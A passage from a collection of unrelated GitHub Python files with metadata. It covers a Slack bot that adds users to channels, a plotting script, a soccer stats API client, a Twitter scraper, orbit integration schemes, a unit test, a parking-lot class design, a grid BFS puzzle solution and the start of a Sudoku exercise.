requesting comming from the slack.\n \"\"\"\n request_body = request.get_data().decode('utf-8')\n timestamp = request.headers['X-Slack-Request-Timestamp']\n if abs(int(datetime.datetime.now().timestamp()) - int(timestamp)) > 60 * 5:\n # The request timestamp is more than five minutes from local time. \n # It could be a replay attack, so let's ignore it. \n return\n\n slack_signature = request.headers['X-Slack-Signature']\n slack_signing_secret = bytes(configParser.get('bot', 'SLACK_SIGNING_SECRET'), 'latin-1')\n sig_basestring = f'v0:{timestamp}:{str(request_body)}'\n my_signature = 'v0=' + hmac.new(\n slack_signing_secret,\n sig_basestring.encode(),\n hashlib.sha256\n ).hexdigest()\n return hmac.compare_digest(my_signature, slack_signature)\n\n\ndef conversation_list():\n \"\"\"\n fetch the list of the public conversation from workspace.\n \"\"\"\n converstaions = []\n try:\n response = client.conversations_list()\n conversations = response['channels']\n except SlackApiError as e:\n assert e.response[\"ok\"] is False\n assert e.response[\"error\"] # str like 'invalid_auth', 'channel_not_found'\n print(f\"Got an error: {e.response['error']}\")\n\n return conversations\n \n\ndef add_users_to_channels(sub_command, response_url):\n \"\"\"\n add the given user to the common channels in the workspace\n \"\"\"\n users = sub_command.split(',')\n channels = conversation_list()\n print(users)\n users_id = [str(user.split('|')[0]).replace('<@', '') for user in users if '|' in user]\n users_id_str = ','.join(users_id)\n print(users_id_str)\n channels_name = []\n for channel in channels:\n if channel['is_channel']:\n print(f'channel name: {channel[\"name\"]}')\n try:\n response = client.conversations_invite(channel=channel['id'], users=users_id_str)\n if response['ok']:\n channels_name.append(channel['name'])\n except SlackApiError as e:\n print(e)\n \n data = {\n 'response_type': 'in_channel',\n 'text': f'User(s) added to the channels({\",\".join(channels_name)})'\n }\n requests.post(response_url, json=data)\n return True\n \n@app.route('/add-user', methods=['Post'])\ndef slack_slash_commands():\n \"\"\"\n\n \"\"\"\n if not is_request_valid(request):\n abort(400)\n\n print(request.form)\n command = request.form['command']\n sub_command = request.form['text']\n response_url = request.form['response_url']\n \n if command == '/add-user':\n \n if not sub_command:\n return jsonify(\n response_type='in_channel',\n text='no user(s) passed to add in channels.'\n )\n\n if sub_command == 'help':\n return jsonify(\n response_type='in_channle',\n text=\"Add passed user to the list of public channels\"\n )\n\n add_users_to_channels(sub_command, response_url)\n return jsonify(\n response_type='in_channel',\n text='adding user to the public channel...'\n )\n\n \n","repo_name":"Skchoudhary/2pie","sub_path":"add-user-to-channels.py","file_name":"add-user-to-channels.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28098961423","text":"#!/usr/bin/python3\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.font_manager as fm\nfrom matplotlib import rcParams\nfrom collections import defaultdict\nimport glob\nfrom util_patterns import *\n\nparams = {\n 'axes.labelsize': 18,\n 'font.size': 18,\n 'legend.fontsize': 18,\n 'xtick.labelsize': 18,\n 'ytick.labelsize': 18,\n 'text.usetex': False,\n 'figure.figsize': [12, 4],\n 'legend.loc': 'best'\n}\nrcParams.update(params)\n\nlegends_launch = [\"TLB setup \\&config. reading\", \"Blacklisting\", \"SHA-256 digesting\"]\nlegends_destroy = [\"Whitelisting\", \"Memory scrubing\"]\n\nnfs = [\"FW\", \"DPI\", \"NAT\", \"LB\", \"LPM\", \"Mon.\"]\ndef format_func(value, tick_number):\n return nfs[tick_number]\n \n# nf_launch\n# nf_destroy\nlatencies = np.array([\n [0.019615, 0.004425, 38.082837], \n [0.003783, 2.704083, 0], \n [0.019615, 0.004425, 323.602302], \n [0.003783, 22.983011, 0], \n [0.019616, 0.004425, 145.944469], \n [0.003783, 10.364937, 0], \n [0.019616, 0.004425, 29.622514], \n [0.003783, 2.103230, 0], \n [0.019615, 0.004425, 95.187180], \n [0.003783, 6.759915, 0], \n [0.019615, 0.004425, 763.517971], \n [0.003783, 54.227230, 0]], np.float64)\n\n\n\nif __name__ == '__main__':\n plt.rc('text', usetex=True)\n # plt.rc('font', family='Gill Sans')\n font = fm.FontProperties(\n family = 'Gill Sans',\n fname = '/usr/share/fonts/truetype/adf/GilliusADF-Regular.otf')\n\n N = 6\n\n ind = np.arange(N) * 10 + 5 # the x locations for the groups\n\n # print ind\n width = 3.5 # the width of the bars: can also be len(x) sequence\n \n ax1 = plt.subplot(121)\n p1 = ax1.bar(ind, latencies[:, 0][::2], width, label=legends_launch[0], bottom=latencies[:, 1][::2]+latencies[:, 2][::2], color=colors[0], hatch=patterns[0], align=\"center\", edgecolor = 'k')\n p2 = ax1.bar(ind, latencies[:, 1][::2], width, label=legends_launch[1], bottom=latencies[:, 2][::2], color=colors[1], hatch=patterns[1], align=\"center\", edgecolor = 'k')\n p3 = ax1.bar(ind, latencies[:, 2][::2], width, label=legends_launch[2], color=colors[2], hatch=patterns[2], align=\"center\", edgecolor = 'k')\n \n # ax1.set_title(r\"\\textsf{nf\\_launch}\")\n ax1.set_ylabel('Latency (ms)')\n ax1.set_xticks(ind)\n ax1.xaxis.set_major_formatter(plt.FuncFormatter(format_func))\n\n dx = 0/72.; dy = -5/72. \n offset = matplotlib.transforms.ScaledTranslation(dx, dy, plt.gcf().dpi_scale_trans) \n # apply offset transform to all x ticklabels.\n for label in ax1.xaxis.get_majorticklabels():\n label.set_transform(label.get_transform() + offset)\n ax1.grid(which='major', axis='y', linestyle=':')\n ax1.set_axisbelow(True)\n\n # plt.yticks(np.arange(0, 81, 10))\n # ax1.xticks(rotation = 35, ha=\"right\", rotation_mode=\"anchor\")\n \n\n ax2 = plt.subplot(122)\n p1 = ax2.bar(ind, latencies[:, 0][1::2], width, label=legends_destroy[0], bottom=latencies[:, 1][1::2], color=colors[3], hatch=patterns[3], align=\"center\", edgecolor = 'k')\n p4 = ax2.bar(ind, latencies[:, 1][1::2], width, label=legends_destroy[1], color=colors[4], hatch=patterns[4], align=\"center\", edgecolor = 'k')\n \n # ax2.set_title(r\"\\textsf{nf\\_destroy}\")\n ax2.set_ylabel('Latency (ms)')\n ax2.set_xticks(ind)\n ax2.xaxis.set_major_formatter(plt.FuncFormatter(format_func))\n\n for label in ax2.xaxis.get_majorticklabels():\n label.set_transform(label.get_transform() + offset)\n ax2.grid(which='major', axis='y', linestyle=':')\n ax2.set_axisbelow(True)\n\n # ax2.yticks(np.arange(0, 81, 10))\n # ax2.xticks(rotation = 35, ha=\"right\", rotation_mode=\"anchor\")\n \n \n lines_labels = [ax1.get_legend_handles_labels()]\n lines, labels = [sum(lol, []) for lol in zip(*lines_labels)]\n l = ax1.legend(lines, labels, title=r\"\\textsf{nf\\_launch}\")\n l.get_title().set_position((-41, 0))\n\n lines_labels = [ax2.get_legend_handles_labels()]\n lines, labels = [sum(lol, []) for lol in zip(*lines_labels)]\n ax2.legend(lines, labels, title=r\"\\textsf{nf\\_destroy}\")\n\n plt.tight_layout()\n\n plt.savefig('figures/ins_latency/ins_latency.pdf')\n plt.clf()\n","repo_name":"YangZhou1997/sgxnic-figuredraw","sub_path":"plot_ins_latency.py","file_name":"plot_ins_latency.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19542579841","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 29 17:45:37 2021\r\n\r\n@author: yatsk\r\n\"\"\"\r\nimport requests\r\nimport pandas as pd\r\nimport team\r\n\r\nTEAMS = team.getTeams()\r\n\r\n#game_id = \"utah-royals-vs-washington-spirit-2019-04-20\"\r\n#game_id = \"ol-reign-vs-chicago-red-stars-2021-04-27\"\r\n\r\n#game_id = \"utah-royals-vs-portland-thorns-2019-09-06\"\r\n#game_id = \"portland-thorns-vs-kansas-city-1-2021-04-09\"\r\n#boxscore_link = \"http://api.nwslsoccer.com/v2/games/{}/stats\".format(game_id)\r\n#events_link = \"http://api.nwslsoccer.com/v2/games/{}/commentary\".format(game_id)\r\nbase_url = \"http://api.nwslsoccer.com/v2/games/\"\r\n# SOME URL NOTES:\r\n# \r\n\r\ndef getEvents(game_id):\r\n events_link = base_url + game_id + \"/commentary\"\r\n r = requests.get(events_link)\r\n events_dic = r.json()['result']\r\n return events_dic\r\n #events_df = pd.DataFrame(events_dic)\r\n \r\n\r\ndef getBoxScore(game_id):\r\n boxscore_link = base_url + game_id + \"/stats\"\r\n r = requests.get(boxscore_link) \r\n box_dic = r.json()['result']\r\n return box_dic\r\n\r\n\r\ndef getGame(game_id): \r\n game_link = base_url + game_id\r\n r = requests.get(game_link)\r\n game_dic = r.json()['result']\r\n return game_dic\r\n# box_df = pd.DataFrame(events_dic)\r\n\r\ndef getChaosMetrics(game_id):\r\n events = getEvents(game_id)\r\n evetns_cnt = len(events)\r\n game = getGame(game_id)\r\n \r\n goals = game['liveData']['goal']\r\n goals_cnt = len(goals)\r\n\r\n cards = game['liveData']['card']\r\n cards_cnt = len(cards)\r\n\r\n length = game['liveData']['matchDetails']['matchLengthMin']\r\n\r\ndef getValue(values, tp):\r\n try:\r\n return float(values[tp])\r\n except:\r\n return 0\r\n\r\ndef getValue_dic(values, tp):\r\n try:\r\n return (values[tp])\r\n except:\r\n return 0\r\n \r\ndef generateActualChaos(chaos):\r\n stat = (chaos['cards_cnt'] \r\n # + chaos['totalRedCard']\r\n + chaos['cornerTaken']\r\n + chaos['divingSave']\r\n + chaos['fouledFinalThird']\r\n + chaos['penAreaEntries']\r\n + chaos['totalShots']\r\n + chaos['passingAccuracy']\r\n + chaos['saves']\r\n + chaos['SOG']\r\n + chaos['shotFB']\r\n + chaos['totalGoals']\r\n + chaos['goalDif']\r\n )\r\n return stat \r\n\r\nclass Game:\r\n \r\n def __init__(self, game_id):\r\n self.id = game_id\r\n \r\n def getPreGame(self):\r\n self._game = getGame(self.id) \r\n self.matchid = self._game['matchInfo']['id']\r\n self.date = self._game['matchInfo']['date']\r\n self.time = self._game['matchInfo']['time']\r\n self.state = self._game['matchInfo']['location']['state']\r\n self.stadiumName = self._game['matchInfo']['location']['stadiumName']\r\n \r\n self.team0id = self._game['matchInfo']['contestant'][0]['team']['id']\r\n self.team0totalwins = self._game['matchInfo']['contestant'][0]['team']['winHistory']['totalMatchesWon']\r\n self.team0 = team.getTeamFromId(self.team0id)\r\n \r\n self.team1id = self._game['matchInfo']['contestant'][1]['team']['id']\r\n self.team1totalwins = self._game['matchInfo']['contestant'][1]['team']['winHistory']['totalMatchesWon']\r\n self.team1 = team.getTeamFromId(self.team1id)\r\n \r\n def getEvents(self):\r\n self._events = getEvents(self.id) # list of dic \r\n self.events = pd.DataFrame(self._events)\r\n \r\n def getDetails(self):\r\n self._game = getGame(self.id) \r\n self._liveData = self._game['liveData']\r\n self.broadcaster = self._liveData['broadcaster']['name'] # str\r\n self.cards = getValue_dic(self._liveData, 'card') # list of dic\r\n self.goals = getValue_dic(self._liveData, 'goal')# list of dic\r\n \r\n self._matchDetails = self._liveData['matchDetails']\r\n self.periodId = self._matchDetails['periodId']\r\n self.matchStatus = self._matchDetails['matchStatus']\r\n # self.winner = self._matchDetails['winner']\r\n self.matchLength = self._matchDetails['matchLengthMin'] + (self._matchDetails['matchLengthMin'])/60\r\n self._period = self._matchDetails['period']\r\n self._scores = self._matchDetails['scores']\r\n self.totalGoals = self._scores['total']['home'] + self._scores['total']['away']\r\n self.goalDif = abs(self._scores['total']['home'] - self._scores['total']['away'])\r\n \r\n self.ht = self._scores['ht']\r\n self.ft = self._scores['ft']\r\n self._lineUp = self._liveData['lineUp']\r\n \r\n # haven't though about these next ones\r\n self.missedPen = self._liveData['missedPen']\r\n self.penaltyShot = self._liveData['penaltyShot']\r\n self.substitute = self._liveData['penaltyShot']\r\n\r\n def getAdvancedStats(self):\r\n self._box = getBoxScore(self.id) # list of dic\r\n self._lineUp = self._box['lineUp']\r\n self._team1 = self._lineUp[0]\r\n self._team2 = self._lineUp[1]\r\n self.team1_stats = self._team1['stat']\r\n self.team2_stats = self._team1['stat'] \r\n self.team1_stats_df = pd.DataFrame(self._team1['stat'])\r\n self.team2_stats_df = pd.DataFrame(self._team2['stat'])\r\n \r\n def totalChaos(self):\r\n self.getAdvancedStats()\r\n self.getDetails()\r\n \r\n if self.cards == 0:\r\n cards_cnt = 0\r\n else:\r\n cards_cnt = len(self.cards)\r\n\r\n values1 = dict((temp['type'], temp['value']) for temp in self.team1_stats)\r\n values2 = dict((temp['type'], temp['value']) for temp in self.team2_stats)\r\n \r\n totalRedCard = getValue(values1, 'totalRedCard') + getValue(values2, 'totalRedCard')\r\n cornerTaken = getValue(values1, 'cornerTaken') + getValue(values2, 'cornerTaken')\r\n divingSave = getValue(values1, 'divingSave') + getValue(values2, 'divingSave')\r\n fouledFinalThird = getValue(values1, 'fouledFinalThird') + getValue(values2, 'fouledFinalThird')\r\n penAreaEntries = getValue(values1, 'penAreaEntries') + getValue(values2, 'penAreaEntries')\r\n totalShots = getValue(values1, 'totalShots') + getValue(values2, 'totalShots')\r\n passingAccuracy = getValue(values1, 'passingAccuracy') + getValue(values2, 'passingAccuracy')\r\n saves = getValue(values1, 'saves') + getValue(values2, 'saves')\r\n SOG = getValue(values1, 'shotsOnGoal') + getValue(values2, 'shotsOnGoal')\r\n shotFB = getValue(values1, 'shotFastbreak') + getValue(values2, 'shotFastbreak')\r\n \r\n dic = {\r\n 'game id': self.id,\r\n 'cards_cnt': cards_cnt,\r\n 'totalRedCard': totalRedCard,\r\n 'cornerTaken': cornerTaken,\r\n 'divingSave': divingSave,\r\n 'fouledFinalThird': fouledFinalThird,\r\n 'penAreaEntries': penAreaEntries,\r\n 'totalShots': totalShots,\r\n 'passingAccuracy': passingAccuracy,\r\n 'saves': saves,\r\n 'SOG': SOG,\r\n 'shotFB': shotFB,\r\n 'totalGoals': self.totalGoals,\r\n 'goalDif': self.goalDif\r\n }\r\n \r\n return dic\r\n \r\n\r\n###MAIN\r\n\r\n# \"portland-thorns-vs-kansas-city-1-2021-04-09\"\r\n#game_id = \"utah-royals-vs-washington-spirit-2019-04-20\"\r\n#game_id = \"ol-reign-vs-chicago-red-stars-2021-04-27\"\r\n#game_id = \"utah-royals-vs-portland-thorns-2019-09-06\"\r\n#game_id = \"portland-thorns-vs-chicago-red-stars-2020-07-01\"\r\ngame_id = \"racing-louisville-vs-kansas-city-1-2021-05-15\"\r\ncursed = Game(game_id)\r\ncursed.getPreGame()\r\n# lineup = cursed._lineUp\r\n# t1 = cursed._team1['stat']\r\n# df_t1 = pd.DataFrame(t1)\r\n\r\ncursed.getEvents()\r\n\r\n\r\n\r\nchaos = cursed.totalChaos()\r\n\r\n# stat = (chaos['cards_cnt'] \r\n# + chaos['totalRedCard']\r\n# + chaos['cornerTaken']\r\n# + chaos['divingSave']\r\n# + chaos['fouledFinalThird']\r\n# + chaos['penAreaEntries']\r\n# + chaos['totalShots']\r\n# + chaos['passingAccuracy']\r\n# + chaos['saves']\r\n# + chaos['SOG']\r\n# + chaos['shotFB']\r\n# + chaos['totalGoals']\r\n# + chaos['goalDif']\r\n# )\r\n# print(chaos)\r\n# print(stat)\r\n# y = {chaos['game id']: stat}\r\n\r\n","repo_name":"yatskok/nwslpy_dev","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":8097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3582610908","text":"import os\nimport platform\nimport json, calendar, csv, os.path, time\nfrom datetime import date, timedelta, datetime\nfrom random import randint\nimport pandas as pd\nimport twitterscraper.query\n#from twitterscraper import query_tweets\nfrom twitterscraper.main import JSONEncoder\n\n# modify twitterscraper url\n# remove f=tweets, which sorts by newest\n# this will sort by top\ntwitterscraper.query.INIT_URL = \"https://twitter.com/search?vertical=default&q={q}&l={lang}\"\ntwitterscraper.query.RELOAD_URL = \"https://twitter.com/i/search/timeline?vertical=\" \\\n \"default&include_available_features=1&include_entities=1&\" \\\n \"reset_error_state=false&src=typd&max_position={pos}&q={q}&l={lang}\"\n\nplatform_type = platform.system()\nquery = 'bitcoin'\npoolsize = 20\nlimit = 1000 # number of posts per day\n\nstart_date = date(2017, 1, 1)\nend_month = 4\n\ndata_file = 'tweets2.csv'\n\nsleep_time = 20 # seconds between requests\n\n# check if data file already exists, if so we will continue from last retrieval\ncontinued = os.path.isfile(data_file)\n\n# get last date retrieved\nif(continued):\n cur_data = pd.read_csv(data_file)\n last_date = cur_data.tail(1)['timestamp'].values[0].split('T')[0]\n start_date = datetime.strptime(last_date, '%Y-%m-%d').date() + timedelta(days = 1)\n \nfor m in range(start_date.month, end_month + 1):\n # number of days in current month\n monthend = calendar.monthrange(2017, m)[1]\n \n # use modified start date, or first of month\n days = range(start_date.day, monthend + 1) if m == start_date.month else range(1, monthend + 1)\n \n for d in days:\n print('Getting tweets for 2017-{}-{} ...'.format(m, d))\n \n cur_date = date(2017, m, d)\n\n # get tweets\n if platform_type == 'Linux':\n tweets = twitterscraper.query.query_tweets(\n query, \n poolsize = poolsize, \n limit = limit * poolsize, \n begindate = cur_date, \n enddate = cur_date + timedelta(days = 1),\n lang = 'en'\n ) \n elif platform_type == 'Windows':\n enddate = cur_date + timedelta(days = 1)\n command_str = 'twitterscraper \"%s\" --lang \"en\" -bd %s -ed %s -o temp_tweet.json -l %s'%(query, cur_date, enddate, limit)\n os.system('%s'%(command_str))\n with open('temp_tweet.json') as file:\n tweets = json.load(file)\n os.remove('temp_tweet.json')\n \n print('Retrieved', len(tweets), 'tweets.')\n \n tweets = [{k:v for k, v in json.loads(json.dumps(tweet, cls = JSONEncoder)).items() if k != 'html'} for tweet in tweets]\n \n print('Saving csv ...')\n if continued or cur_date > start_date:\n old_df = pd.read_csv(data_file)\n all_df = pd.concat([old_df, pd.DataFrame(tweets)])\n else:\n all_df = pd.DataFrame(tweets)\n \n all_df.to_csv(data_file, index = False)\n \n # sleep for random interval from 1-20 seconds\n time.sleep(randint(1, sleep_time))\n","repo_name":"twhitsn/twitter-btc","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1188072437","text":"# Generic compute method for kepler orbits.\n\n\n\nfrom numpy import array, zeros, dot, size\nfrom numpy.linalg import norm, inv\nfrom scipy.optimize import fsolve\n\n\n\n# Euler scheme.\ndef eu(U, dt, F, t):\n return U + dt * F(U, t)\n\n# Inverse Euler scheme.\ndef ie(U, dt, F, t):\n fn = lambda x : x - U - F(x, t) * dt\n\n return fsolve(fn, U)\n\n# Runge-Kutta 4 scheme.\ndef rk(U, dt, F, t):\n # Get the constants.\n k1 = F(U, t)\n k2 = F(U + dt * k1 / 2.0, t + dt / 2.0)\n k3 = F(U + dt * k2 / 2.0, t + dt / 2.0)\n k4 = F(U + dt * k3, t + dt)\n\n return U + dt * (k1 + (2.0 * k2) + (2.0 * k3) + k4) / 6.0\n\n# Crank-Nicolson scheme.\ndef cn(U, dt, F, t):\n fn = lambda x : x - U - (F(x, t) + F(U, t)) * dt / 2.0\n\n return fsolve(fn, U)\n\n# Jacobiano de matriz.\ndef jacobiano(F, x):\n N = size(x)\n J = zeros([ N, N ])\n\n for j in range( N ):\n dx = zeros( N )\n dx[j] = 1e-3\n\n J[:,j] = ( F(x + dx) - F(x - dx) ) / norm( 2 * 1e-3)\n\n return J\n\n# Newton method.\ndef newton(F, x, tol=1e-5, steps=1000):\n N = size(x)\n U = zeros(N)\n U1 = x\n\n eps = 1\n it = 0\n\n U = x\n \n while (eps > tol) and (it < steps):\n U = U1 - dot( inv( jacobiano(F, U1) ), F(U1) )\n eps = norm(U - U1)\n U1 = U\n it += 1\n\n #D = dot( inv( jacobiano(F, U) ), F(U) )\n #U = U - D\n #eps = norm(D)\n\n #if eps < tol:\n # return U\n\n #print(f\"Failed to reach tolerance of {tol} (real = {eps}) with {steps} steps. Value: {U}\")\n return x\n\n# General Cauchy problem method.\ndef cauchy(F, t, U0, scheme):\n # Initialize variables.\n N = len(t) - 1\n N0 = len(U0)\n\n U = array(zeros([N+1, N0]))\n U[0,:] = U0\n\n # Start looping.\n for i in range(N):\n dt = t[i+1] - t[i]\n U[i+1,:] = scheme(U[i,:], dt, F, t[i])\n\n return U\n\n# Kepler function.\ndef kepler(U, t):\n r = U[:-2]\n d = U[2:]\n n = ((r[0]**2.0) + (r[1]**2.0))**0.5\n\n return array([ d[0], d[1], -r[0]/(n**3.0), -r[1]/(n**3.0) ])\n\n# Specific energy function.\ndef energy(U, N):\n # Initialize the variables.\n e = array(zeros(N+1))\n mu = 3.986e14\n\n for i in range(N):\n Em = ((U[i,2]**2.0) + (U[i,3]**2.0)) / 2.0\n Ep = mu / (((U[i,0]**2.0) + (U[i,1]**2.0))**0.5)\n\n e[i] = Em - Ep\n\n return e","repo_name":"jahrTeaching/milestones-agserWork","sub_path":"sources/milestone2/compute.py","file_name":"compute.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9751439828","text":"#!/usr/bin/env python3\n\nimport unittest\nfrom shutil import copy2\nfrom facialrecognition.recognise import Recognise\nimport client\n\n\nclass RPTest(unittest.TestCase):\n \"\"\"\n Unit test for reception pi\n Include two test: test local database connection and login\n \"\"\"\n\n def test_db_connection(self):\n \"\"\"\n Unit test for local database connection on reception pi\n \"\"\"\n config_file = '../config.json'\n config = client.Config(config_file)\n database = client.Userdb(config)\n self.assertIsNotNone(database)\n\n def test_login(self):\n \"\"\"\n Unit test for login function\n \"\"\"\n config_file = '../config.json'\n config = client.Config(config_file)\n database = client.Userdb(config)\n\n menu = client.Menu()\n\n valid_login = False\n auth = True\n not_auth = False\n\n login_option = menu.login_option()\n if login_option == 1: # when login with email\n email = menu.get_login_detail(True)\n valid_login = database.login(email, True)\n elif login_option == 2: # when login with username\n username = menu.get_login_detail(False)\n valid_login = database.login(username, False)\n elif login_option == 3: # when login with facial recognize\n copy2('./facialrecognition/encodings.pickle', '.')\n recognize = Recognise()\n name = recognize.getuser()\n if name != \"Unknown\":\n valid_login = True\n elif login_option == 4: # when choose not to login\n valid_login = False\n\n if valid_login:\n self.assertEqual(auth, valid_login)\n else:\n self.assertEqual(not_auth, valid_login)\n\n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)\n","repo_name":"inci90/library-pi2","sub_path":"reception-pi/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"29550786703","text":"\"\"\"\n**Parking Lot**:\n\n Design a parking lot using object-oriented principle\n\"\"\"\n\n# Objects\n# * Car\n# * Spots\n# * Payment\n\n# Actions\n# * park\n# * enter\n# * exit\n\n# Questions:\n# * Do we care about the vehicule type? (Car, Bus, Mo\n# * Should we model types of car spots? (Disabled/Standard)\n# * Is it a paying parking lot? Should we model for extensibility (Free/Paying)?\n\n# Story:\n# A vehicule wants to park in a parking lot. The parking lot indicates to the driver how many parking spots are still available.\n# The parking lot has multiple stories, each with a certain number of available parking spots. Each parking spot is adapted for a certain size of vehicule.\n# The parking lot supports buses, bikes, motorbikes, and cars. In addition the parking lot has priority spots for disabled passengers.\n# Each spot supports a space for a smaller vehicule, except for bikes which are limited to be stored in a ike rake.\n\n\nfrom dataclasses import dataclass, field\nfrom typing import List, Dict, Type\nfrom collections import ChainMap\n\n\n@dataclass\nclass ParkingSpot:\n size: int\n number: int\n\n\n@dataclass\nclass CarParkingSpot(ParkingSpot):\n size: int = 20\n\n\n@dataclass\nclass BusParkingSpot(ParkingSpot):\n size: int = 40\n\n\n@dataclass\nclass MotorCycleParkingSpot(ParkingSpot):\n size: int = 5\n\n\n@dataclass\nclass Vehicle:\n size: int\n has_disabled_passenger: bool = False\n parking_spot: ParkingSpot = field(default=None)\n\n def park(self, parking_spot: ParkingSpot):\n if self.can_park(parking_spot):\n self.parking_spot = parking_spot\n\n def can_park(self, parking_spot: ParkingSpot):\n return parking_spot.size >= self.size\n\n @property\n def type(self):\n return type(self)\n\n\n@dataclass\nclass Car(Vehicle):\n size: int = 20\n\n\n@dataclass\nclass Bus(Vehicle):\n size: int = 40\n\n\n@dataclass\nclass MotorCycle(Vehicle):\n size: int = 5\n\n\nclass Floor:\n spots: Dict[Type[Vehicle], List[ParkingSpot]]\n parked_vehicles: List[Vehicle]\n\n @property\n def total_space(self):\n return\n\n def has_available_space(self, vehicle: Vehicle):\n vehicle_type = type(vehicle)\n return bool(self.spots.get(vehicle_type))\n\n def park_vehicle(self, vehicle: Vehicle):\n if self.has_available_space(vehicle):\n self.parked_vehicles.append(vehicle)\n parking_spot = self.spots[vehicle.type].pop()\n vehicle.park(parking_spot)\n\n\nclass ParkingLot:\n floors: List[Floor]\n\n def has_available_space(self, vehicle: Vehicle):\n return bool(floor.has_available_space(vehicle) for floor in self.floors)\n\n def next_available_floor(self, vehicle: Vehicle):\n return next(\n floor for floor in self.floors if floor.has_available_space(vehicle)\n )\n\n @property\n def all_spots(self):\n spots = ChainMap(*(floor.spots for floor in self.floors))\n return spots\n\n def park_vehicle(self, vehicle: Vehicle):\n floor = self.next_available_floor(vehicle)\n floor.park_vehicle(vehicle)\n","repo_name":"yassineayadi/ctci-python","sub_path":"src/chapter07/p04.py","file_name":"p04.py","file_ext":"py","file_size_in_byte":3029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26902210144","text":"import sys\nfrom collections import deque\nsys.stdin = open(\"10026.txt\", 'r')\n\nN = int(sys.stdin.readline())\nfield = []\n\nfor _ in range(N):\n field.append(list(sys.stdin.readline().strip()))\n\ndef bfs_r(start):\n queue_r = deque()\n queue_r.append(start)\n dx = [-1, 0, 1, 0]\n dy = [0, 1, 0, -1]\n while queue_r:\n x, y = queue_r.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if -1 < nx < N and -1 < ny < N:\n if field[nx][ny] == \"R\":\n field[nx][ny] = 1\n queue_r.append((nx, ny))\n\ndef bfs_g(start):\n queue_g = deque()\n queue_g.append(start)\n dx = [-1, 0, 1, 0]\n dy = [0, 1, 0, -1]\n while queue_g:\n x, y = queue_g.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if -1 < nx < N and -1 < ny < N:\n if field[nx][ny] == \"G\":\n field[nx][ny] = 1\n queue_g.append((nx, ny))\n\ndef bfs_rg(start):\n queue_rg = deque()\n queue_rg.append(start)\n dx = [-1, 0, 1, 0]\n dy = [0, 1, 0, -1]\n while queue_rg:\n x, y = queue_rg.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if -1 < nx < N and -1 < ny < N:\n if field[nx][ny] == 1:\n field[nx][ny] = 0\n queue_rg.append((nx, ny))\n\ndef bfs_b(start):\n queue_b = deque()\n queue_b.append(start)\n dx = [-1, 0, 1, 0]\n dy = [0, 1, 0, -1]\n while queue_b:\n x, y = queue_b.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if -1 < nx < N and -1 < ny < N:\n if field[nx][ny] == \"B\":\n field[nx][ny] = 0\n queue_b.append((nx, ny))\n\ncnt_r = 0\ncnt_g = 0\ncnt_rg = 0\ncnt_b = 0\n\nfor i in range(N):\n for j in range(N):\n if field[i][j] == \"R\":\n field[i][j] = 1\n bfs_r((i, j))\n cnt_r += 1\n elif field[i][j] == \"G\":\n field[i][j] = 1\n bfs_g((i, j))\n cnt_g += 1\n elif field[i][j] == \"B\":\n field[i][j] = 0\n bfs_b((i, j))\n cnt_b += 1\n\nfor i in range(N):\n for j in range(N):\n if field[i][j]:\n field[i][j] = 0\n bfs_rg((i, j))\n cnt_rg += 1\n\nprint(cnt_r + cnt_g + cnt_b, cnt_rg + cnt_b)","repo_name":"mhd329/boj-1d1q","sub_path":"10026_적록색약/10026.py","file_name":"10026.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"4468409075","text":"from django.urls import path, include\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nurlpatterns = [\n path('', views.landing, name='landing'),\n path('login/',views.signin,name='login'),\n path('register/',views.register,name='register'),\n path('logout/',views.signout,name='logout'),\n path('index/',views.index,name='index'),\n path('new-region/', views.create_region, name='new-region'),\n path('new-post/', views.create_post, name='post'),\n path('join_hood/', views.join_hood, name='join-hood'),\n path('leave_hood/', views.leave_hood, name='leave-hood'),\n path('all-hoods/', views.hoods, name='hood'),\n path('search/', views.search_business, name='search'),\n path('profile/', views.profile, name='profile'),\n path('profile//edit/', views.edit_profile, name='edit-profile'),\n path('single_region/', views.single_region, name='single-region'),\n \n]\nif settings.DEBUG:\n urlpatterns+= static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)","repo_name":"Norah-Waswala/neighbours","sub_path":"regionapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5470054784","text":"### Emelt Informatika Érettségi - 2021 Október - Sudoku\n\n# visszaadja, hogy az x,y koordinátájú elem melyik résztáblába tartozik\ndef get_resz(x,y):\n resz = (x // 3)*3 + (y // 3)\n return resz\n\n# az r sorszámú résztábla kilenc elemét adja vissza egy listában\ndef get_resztabla(r):\n resz_tabla = []\n rx = r // 3 # résztábla sora\n ry = r % 3 # résztábla oszlopa\n # három különböző sor\n for x in range(0,3):\n # három oszlopnyi elem\n elem_sor = tabla[3*rx + 